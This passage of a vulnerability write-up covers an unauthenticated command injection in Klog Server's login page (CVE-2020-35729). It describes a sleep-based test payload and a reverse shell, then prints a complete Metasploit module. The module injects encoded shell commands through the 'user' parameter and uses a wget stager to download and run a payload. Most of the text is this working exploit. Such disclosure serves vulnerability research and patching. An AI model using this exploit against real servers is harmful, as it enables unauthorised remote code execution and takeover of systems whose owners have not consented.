As you can see in the code line above , the user input received without any filtering in the login panel is running on the server.The purpose of code line is fail login user save on ‘log.sh’ file found in the path /klog/www/config/scripts/ .Shown below see log.sh source codes.
Where ‘logmsg’ variable holds the user value in here and Var / log / klog / 127.0.0.1 / kaudit.log file is saved as in the code. This situation cause be command injection vulnerability.
VULNERABILITY DETECTION AND EXPLOTATION
In the first step “%26sleep+5%26” payload’s has been sent and it is provided to run on target klog server .This situation Burpsuite is shown below in the screenshot.
Then, in order to automate the reverse shell connection on the server, the exploit shown in the screenshot below, was run and the shell operation was successfully performed in the listening NC connection.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
"user" parameter is executed via shell_exec() function without input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[ 'B3KC4T', # Vulnerability discovery
'Metin Yunus Kandemir', # Metasploit module
],
'References' =>
[
['CVE', '2020-35729'],
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
],
'DefaultOptions' =>
{
'HttpClientTimeout' => 2,
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [
['Klog Server 2.4.1 (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X64,
}],
],
'Privileged' => false,
'DisclosureDate' => "2021-01-05",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
]
)
end
def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, " %0A ")
cmd.gsub!(/ /, '+')
cmd.gsub!(/\//, '%2F')
end
def execute_command(cmd, opts = {})
command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"
print_status("Sending stager payload...")
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => command_payload,
'pswd' => "inline"
}
})
if res && res.code == 302
print_error("The target is not vulnerable!")
else
print_good("The target is vulnerable!")
end
end
def check
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
'pswd' => "inline"
}
})
if res && res.code == 302
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def exploit
print_status("Exploiting...")
execute_cmdstager(flavor: :wget, delay: 10)
end
end
